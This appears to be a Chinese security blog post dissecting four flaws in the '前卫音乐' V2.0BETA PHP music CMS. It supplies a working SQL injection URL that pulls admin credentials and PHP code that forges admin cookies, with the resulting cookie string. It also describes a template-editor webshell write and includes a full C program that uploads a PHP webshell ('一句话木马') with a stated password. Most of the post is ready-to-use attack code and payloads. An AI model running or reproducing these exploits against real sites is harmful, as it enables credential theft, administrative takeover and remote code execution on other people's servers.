前卫音乐多个漏洞

在阅读“前卫音乐V2.0BETA(20130709)版”代码过程中,发现多个漏洞。
1./home/libs/common.php注入漏洞
在/home目录里有index.php文件,此文件无任何功能,只是包含了/home/libs/common.php。下面看下问题代码:
[php]
include_once(CSDJ_PATH.'/conn.php');
ob_start();
//允许动作
$dos = array('down', 'index', 'dance', 'gd', 'gx', 'pick', 'reco', 'feed', 'pic', 'gbook', 'skin', 'blog');
//获取变量
$usym=$_SERVER['HTTP_HOST'];
$uall=explode(".",$usym);
$op=CS_Request("op");
$uid=CS_Request("uid"); //问题参数
$id=CS_Request("id");
$pages=CS_Request("pages");
if(empty($uid)) $uid=$uall[0];
$op = (!empty($op) && in_array($op, $dos))?$op:'index';
if(empty($uid)) exit('抱歉,会员UID为空,参数错误!');
if($op=='skin'){
if(isset($_COOKIE["cd_name"])){
$uid=$_COOKIE["cd_id"];
}else{
exit("

");
}
}
global $db;
$row=$db->getrow("Select * from ".tname('user')." where cd_id=".$uid.""); //代入查询
?>[/php]
代码中$uid经过了CS_Request的处理,如果CS_Request没有过滤好,那么$uid就有可能被带入下面的SQL语句进入查询,下面看下CS_Request的实现:
[php]
function CS_Request($pi_strName, $pi_Def = "", $pi_iType = CS_TXT)
{
if ( isset($_GET[$pi_strName]) )
$t_Val = trim($_GET[$pi_strName]);
else if ( isset($_POST[$pi_strName]))
$t_Val = trim($_POST[$pi_strName]);
else
return $pi_Def;
// 这里是数字型参数的过滤
if ( CS_INT == $pi_iType)
{
if (is_numeric($t_Val))
return $t_Val;
else
return $pi_Def;
}
// String
$t_Val = str_replace("&", "&",$t_Val);
$t_Val = str_replace("<", "<",$t_Val);
$t_Val = str_replace(">", ">",$t_Val);
if ( get_magic_quotes_gpc() )
{
$t_Val = str_replace("\\\"", """,$t_Val);
$t_Val = str_replace("\\''", "'",$t_Val);
}
else
{
$t_Val = str_replace("\"", """,$t_Val);
$t_Val = str_replace("'", "'",$t_Val);
}
return $t_Val;
}[/php]

可以看到,CS_Request对数字型的过滤好了,对于字符型的参数,CS_Request过滤了&、<、>、"、’。
$uid是数字型的参数,本来应该应该过滤好的,但是代码中对CS_Request的调用方式不对,正确的应该为
$uid=CS_Request("uid", 0, CS_INT),作者的调用方式为$uid=CS_Request("uid")等同于$uid作字符串的过滤。
对于字符串CS_Request过滤了单、双引号,本来也应该安全的,但是SQL查询语句:
$row=$db->getrow("Select* from ".tname('user')." where cd_id=".$uid."")
却没有将$uid用单引号包含起来,安全语句应为
$row=$db->getrow("Select* from ".tname('user')." where cd_id=’".$uid."’")。
SQL注入语句:
http://www.0day5.com/home/index.php?uid=1&op=23and 1=2 union select 1,2,3,concat(CD_AdminUserName,0x3c,0x3c,CD_AdminPassWord),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46from musicdj_admin imit 0,1

2./admin/admin_check.php权限绕过漏洞

上面那个漏洞只是注入,还要解MD5,那这个漏洞就可以直接添加管理员了。进入/admin目录,随便打开一个文件,都会调用这个函数:admincheck(7),看名字就知道,检查权限的。Admincheck的实现在/admin/admin_check.php里:
[php]
function admincheck($CD_Permission){
if($_COOKIE['CD_Permission']<>''){
$menuarr=explode(',',$_COOKIE['CD_Permission']);
$adminlogined='False';
for($i=0;$i if($menuarr[$i]==$CD_Permission){$adminlogined='True';}
}
if($adminlogined=='False'){AdminAlert('出错了,您没有进入本页面的权限!','',2);}
}else{
AdminAlert('出错了,您没有进入本页面的权限!','',2);
}
}
if(empty($_COOKIE['CD_AdminID'])){
AdminAlert('您没有进入本页面的权限,本次操作已被记录!','admin_login.php',0);
}elseif($_COOKIE['CD_Login']!=md5($_COOKIE['CD_AdminID'].$_COOKIE['CD_AdminUserName'].$_COOKIE['CD_AdminPassWord'].$_COOKIE['CD_Permission'])){
AdminAlert('您没有进入本页面的权限,本次操作已被记录!','admin_login.php',0);
}
[/php]
就做两个检查:1、$_COOKIE['CD_Permission']中某一项要跟传入的参数相匹配2、$_COOKIE['CD_Login']==md5($_COOKIE['CD_AdminID'].$_COOKIE['CD_AdminUserName'].$_COOKIE['CD_AdminPassWord'].$_COOKIE['CD_Permission'])
以上两条都满足,就是管理员了,同时程序未对$_COOKIE做任何保护措施。能进后台了,就可以加管理了,就可以上传了。伪造可以用firefox的tamper data就行了。生成cookie的代码:
[php]
$CD_AdminID=1;$CD_AdminUserName="ywledoc";
$CD_AdminPassWord=123;
$CD_Login=md5($CD_AdminID.$CD_AdminUserName.$CD_AdminPassWord.$CD_Permission);
echo "CD_Permission=1%2C2%2C3%2C4%2C5%2C6%2C7%2C8%2C9%2C10%2C11;CD_AdminID=1;
CD_AdminUserName=ywledoc;CD_AdminPassWord=123;CD_Login=".$CD_Login."
";
?>
[/php]
生成:CD_Permission=1%2C2%2C3%2C4%2C5%2C6%2C7%2C8%2C9%2C10%2C11;CD_AdminID=1;CD_AdminUserName=ywledoc;CD_AdminPassWord=123;CD_Login=5317e16c7b3f5b2b283d481832e5b309
替换后,访问/admin/admin_admin.php

3./admin/admin_mold.php任意文件上传漏洞(需GPC OFF)

利用上面那个漏洞,添加了一个管理员,登陆后开始这一步。先看看漏洞代码:

[php]
Function Save(){
$CD_Name=$_POST['FileName'];
$CD_Path=$_POST['folder'];
$CD_TempName=$_POST['tempname'];
$CD_Content=stripslashes($_POST['content']);
$F_Ext = substr(strrchr($CD_Name,'.'),1);
$FileType = strtolower($F_Ext);
if($FileType=='htm'or $FileType=='html'or $FileType=='shtml'or $FileType=='js'or $FileType=='css'or $FileType=='txt'){
if(!$fp = fopen($CD_Path.$CD_Name,'w')) {
AdminAlert('出错了,文件 '.$CD_Path.$CD_Name.' 没有写入权限!','?action=templist&tempname='.$CD_TempName.'&dir='.$CD_Path.'',1);
}
$ifile = new iFile($CD_Path.$CD_Name,'w');
$ifile->WriteFile($CD_Content,3);
AdminAlert('恭喜您,编辑模板文件成功!','?action=templist&tempname='.$CD_TempName.'&dir='.$CD_Path.'',0);
}else{
AdminAlert('出错了,操作已被禁止!','?action=templist&tempname='.$CD_TempName.'&dir='.$CD_Path.'',1);
}
}[/php]
源码中
if($FileType=='htm'or$FileType=='html'or $FileType=='shtml'or $FileType=='js'or $FileType=='css'or$FileType=='txt')
会验证保存文件的后缀名,但是路径却是拼接出来的$CD_Path.$CD_Name,而且$CD_Path没有做任何验证,可以直接传入%00,进行截断。但%00是会被GPC转义,并且大多数网站都会打开GPC,所以这个漏洞有些鸡肋了。利用方法,访问
/admin/admin_mold.php?action=templist&tempname=%C4%AC%C8%CF%C4%A3%B0%E6&dir=../skin/index/9ku/,随便找一个模板进行编辑,写入你的一句话木马

点击提交,并用tamper data进行拦截,修改数据包,类似shopex的会直接生成一个shell文件

4./admin/inc/uploads.php任意文件上传漏洞(需register_globals为ON)
管理员上传流程/admin/inc/upload.php->/admin/inc/upload/uploadify.swf->/admin/inc/uploads.php,最终实现写文件是在最后一步,看/admin/inc/uploads.php的实现
[php]
include "../../include/conn.php";
$id=SafeRequest("id","get");
$action=SafeRequest("ac","get");
switch($action){
case 'music':
$targetFiles="../../upload/musicurl/".$id.".".fileext($_FILES['Filedata']['name']);
$fileexts="*.mp3;*.wma";
$filetypes="歌曲文件";
break;
case 'musicpic':
$targetFiles="../../upload/musicpic/".$id.".".fileext($_FILES['Filedata']['name']);
$fileexts="*.jpg;*.gif";
$filetypes="歌曲图片";
break;
case 'special':
$targetFiles="../../upload/special/".$id.".".fileext($_FILES['Filedata']['name']);
$fileexts="*.jpg;*.gif";
$filetypes="专辑图片";
break;
}
if (!empty($_FILES)) {
$tempFile = $_FILES['Filedata']['tmp_name'];
$targetFile = $targetFiles;
//$targetPath = $_SERVER['DOCUMENT_ROOT'] . $_REQUEST['folder'] . '/';
//$targetFile = str_replace('//','/',$targetPath) . $_FILES['Filedata']['name'];

$fileTypes = str_replace('*.','',$fileexts);
$fileTypes = str_replace(';','|',$fileTypes);
$typesArray = split('\|',$fileTypes);
$fileParts = pathinfo($_FILES['Filedata']['name']);

if (in_array($fileParts['extension'],$typesArray)) {
// Uncomment the following line if you want to make the directory if it doesn't exist
// mkdir(str_replace('//','/',$targetPath), 0755, true);
//setcookie("targetFile",$targetFile,time()+86400,"/");
move_uploaded_file($tempFile,$targetFile);[/php]
$fileexts决定允许上传的类型,$targetPath决定上传的路径,然后这两者都取决$action,如果输入一个不合理的$action值 ,那么$targetPath、$fileexts都会变成未定义,在register_globals为ON的情况下,就可以通过$_POST直接给$targetPath、$fileexts赋值了。有的情况下也可以在register_globals为Off的情况下,那有一个条件就是需要以下代码:
foreach(array('_COOKIE', '_POST', '_GET') as $_request) { foreach($$_request as $_key => $_value){ $_key{0} != '_' && $$_key =daddslashes($_value); } }
也是经典的全局变量覆盖漏洞代码。这里没有这段代码,只能依赖register_globals为ON,同样register_globals一般都是off,所以这个漏洞也有点鸡肋。练手,写了一段C POST提交文件的代码,如下:
[php]
#include
#include
#include
#pragma comment(lib, "ws2_32")
int main(int argc, char *argv[])
{
PVOID pBuff = NULL;
SOCKET hSock = INVALID_SOCKET;
int iResult = 0;
WSADATA wsaData = {0};
sockaddr_in clientServer = {0};
hostent *pclientAddr = {0};
iResult = WSAStartup(MAKEWORD(2, 2), &wsaData);
if (iResult != 0)
return 0;
do
{
if (argc != 3)break;
pBuff = VirtualAlloc(NULL, 0x200, MEM_COMMIT, PAGE_READWRITE);
if (pBuff == NULL)
break;
sprintf((PCHAR)pBuff,"POST /%s/admin/inc/uploads.php HTTP/1.1\r\n"
"Host: %s\r\n"
"User-Agent: Mozilla/5.0\r\n"
"Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n"
"Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3\r\n"
"Accept-Encoding: gzip, deflate\r\n"
"Connection: keep-alive\r\n"
"Content-Type: multipart/form-data; boundary=---------------------------
1681160893454\r\n"
"Content-Length: 539\r\n\r\n"
"-----------------------------1681160893454\r\n"
"Content-Disposition: form-data; name=\"targetFiles\"\r\n"
"\r\n"
"../../upload/special/ywledoc.php\r\n"
"-----------------------------1681160893454\r\n"
"Content-Disposition: form-data; name=\"fileexts\"\r\n"
"\r\n"
"*.php\r\n"
"-----------------------------1681160893454\r\n"
"Content-Disposition: form-data; name=\"Filedata\"; filename=\"yijuma.php\"\r\n"
"Content-Type: application/octet-stream\r\n"
"\r\n"
"\r\n"
"-----------------------------1681160893454\r\n"
"Content-Disposition: form-data; name=\"submit\"\r\n"
"\r\n"
"Submit\r\n"
"-----------------------------1681160893454--\r\n\r\n", argv[2],argv[1]);
hSock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
if (hSock == INVALID_SOCKET)
break;
clientServer.sin_family = AF_INET;
clientServer.sin_port = htons(80);
pclientAddr = gethostbyname(argv[1]);
if (pclientAddr == NULL)
{
printf("网址解析错误,请检查输入!\n");
break;
}
clientServer.sin_addr.s_addr = *((ULONG*)(pclientAddr->h_addr_list[0]));
if(connect(hSock, (sockaddr*)&clientServer, sizeof(sockaddr_in)) != 0)
{
printf("到服务器的连接被拒绝!\n");
break;
}
send(hSock, (PCHAR)pBuff, strlen((PCHAR)pBuff), 0);
printf("执行完成,请查看URL:%s%s/upload/special/ywledoc.php\n",argv[1],argv[2]);
closesocket(hSock);
} while (FALSE);
WSACleanup();
return 0;
}[/php]
这段代码执行后会在/upload/special/目录下生成ywledoc.php一句话木马,密码是paxmac。

发表评论